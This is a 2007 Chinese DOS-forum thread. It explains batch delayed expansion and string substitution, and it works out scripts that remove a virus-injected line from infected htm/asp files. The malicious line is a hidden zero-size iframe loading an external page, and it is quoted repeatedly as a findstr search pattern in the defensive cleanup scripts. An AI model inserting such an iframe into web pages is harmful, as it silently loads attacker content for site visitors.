中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-06-25 22:58
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 批处理 中 “!”,“:”什么意思啊? 查看 1,111 回复 8
楼 主 批处理 中 “!”,“:”什么意思啊? 发表于 2007-05-22 21:40 ·  中国 湖南 郴州 电信
新手上路
积分 10
发帖 4
注册 2007-05-22 20:43
19年会员
UID 89003
性别 男
来自 湖南
状态 离线
@echo off
set f=c:\aaa.txt
set f2="c:\aaa.bak.txt"
for /?>%f%
if exist %f2% del %f2%
for /f "tokens=* delims=%" %%l in (%f%) do (
set line=%%l
set line=!line:FOR=F_O_R!
echo !line!>>%f2%
)


----------------------
@echo off
setlocal enabledelayedexpansion
for /f "delims=" %%i in (test.txt) do (
set "str=%%i"
set "str=!str: =!"
set "str=!str:~12!"
echo !str!
)
pause

最后3行都什么意思啊? 特别是 那个 “!”,“:” ,他们如何使用的,一点都不懂,高人请帮忙解释下,多谢了

另外: 我还有个问题,我的电脑中毒了,.exe文件被感染,html,asp文件也都被感染了。 htm, asp 文件都是以前积累的一些资料,舍不得删掉。
病毒文件就是在每个 htm,asp文件的末尾加入了这样一行:“<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>” ,
要一个个删除不是个事,于是就想用批处理能不能解决,高手能否帮帮忙?

[ Last edited by tolyxiong on 2007-5-22 at 09:44 PM ]
2 发表于 2007-05-22 22:55 ·  中国 浙江 杭州 华数宽带
银牌会员
★★★
积分 2,000
发帖 621
注册 2007-01-01 00:00
19年会员
UID 75212
性别 男
状态 离线
搜索变量延迟;

至于删除最后一行;
可以通过
for语句历遍被感染的html和asp;
对每一个html和asp文件执行:
findstr /v "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" 文件名 > 文件名.bak
delete 原文件
然后把bak文件改名为原来的文件即可
本帖最近评分记录 (共 1 条) 点击查看详情
评分人分数时间
tolyxiong +1 2007-05-23 01:17
3 发表于 2007-05-23 01:13 ·  中国 湖南 郴州 电信
新手上路
积分 10
发帖 4
注册 2007-05-22 20:43
19年会员
UID 89003
性别 男
来自 湖南
状态 离线
多谢斑竹! 按照你的思路我搞了个.bat文件,功能基本上可以实现,就是需要把它放在需要修改的.htm.asp 文件的根目录下才行。我是这样写的,希望多给建议~~

---------------------------------del.bat
@echo off
setlocal

rem DPATH : 指定目录
rem FILETYPE: 指定文件类型
rem SCONTENT: 替换前的字符串
rem TMPFILE : 临时文件

rem set DPATH=c:\temp
set FILETYPE=*.htm
set SCONTENT="<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>"
set TMPFILE=%random%.bak

rem DO 后面要紧跟 “(”
for /r %%i in (%FILETYPE%) do (
echo %%i

if exist %TMPFILE% ( del /f/q %TMPFILE% )

set TMPFILE=%random%.bak
findstr /v %SCONTENT% %%i > %TMPFILE%
move /y %TMPFILE% %%i
)
endlocal
4 发表于 2007-05-23 01:17 ·  中国 湖南 郴州 电信
新手上路
积分 10
发帖 4
注册 2007-05-22 20:43
19年会员
UID 89003
性别 男
来自 湖南
状态 离线
set line=%%l
set line=!line:FOR=F_O_R!
echo !line!>>%f2%
---------------------------
关于 “!”,“:” ,“~”的作用和用法我还是搞不清,能给解释下吗,如果觉得麻烦,给介绍点资料也行~~~~我菜,但是很喜欢这些东西。。。。。
5 发表于 2007-05-23 11:29 ·  中国 浙江 杭州 华数宽带
银牌会员
★★★
积分 2,000
发帖 621
注册 2007-01-01 00:00
19年会员
UID 75212
性别 男
状态 离线
你试试这个吧;
放于c盘;双击运行
会搜索整个c盘被感染的html和asp文件并修复;
放于其他盘同;
放于某个目录下;会搜索整个目录及其子目录中被感染的html和sap文件并修复
当然可以改造为搜索所有硬盘;不过用在这觉得是浪费效率;

@echo off
for %%i in (html asp) do (
for /f %%a in ('findstr /s /m "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" *.%%i') do (
findstr /v "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" %%a >%%~pna.bak
del %%a
ren %%~pna.bak %%~na.%%i
)
)

本帖最近评分记录 (共 1 条) 点击查看详情
评分人分数时间
tolyxiong +1 2007-05-23 12:33
6 发表于 2007-05-23 11:36 ·  中国 浙江 杭州 华数宽带
银牌会员
★★★
积分 2,000
发帖 621
注册 2007-01-01 00:00
19年会员
UID 75212
性别 男
状态 离线
对于

你说说的 “!”“:” “~”的作用

参考 以下
set /?
搜索 [CMD]理解变量字符的截取功能
搜索 变量延迟
7 发表于 2007-05-23 12:32 ·  中国 湖南 郴州 电信
新手上路
积分 10
发帖 4
注册 2007-05-22 20:43
19年会员
UID 89003
性别 男
来自 湖南
状态 离线
多谢了。

我发现我们2个的程序都不能处理文件名里面带空格的文件,
findstr 会把有空格的文件按照空格拆分成几个文件,结果当然是“找不到相应的文件”了,昨天晚上搞了好久未果。。。。 。,我对好多基本的用法都不熟悉,别说灵活运用了。。。。
8 发表于 2007-05-25 19:26 ·  中国 浙江 杭州 华数宽带
银牌会员
★★★
积分 2,000
发帖 621
注册 2007-01-01 00:00
19年会员
UID 75212
性别 男
状态 离线

我发现我们2个的程序都不能处理文件名里面带空格的文件,



这个好办啊;

加引号不就解决了么;

@echo off
for %%i in (html asp) do (
for /f %%a in ('findstr /s /m "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" "*.%%i"') do (
findstr /v "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" %%a >"%%~pna.bak"
del "%%a"
ren "%%~pna.bak" "%%~na.%%i"
)
)

9 发表于 2007-06-11 23:23 ·  中国 安徽 合肥 电信
中级用户
★★
积分 334
发帖 154
注册 2007-03-24 02:14
19年会员
UID 82713
性别 男
状态 离线
太复杂了。。。。。。。。。。。
论坛跳转: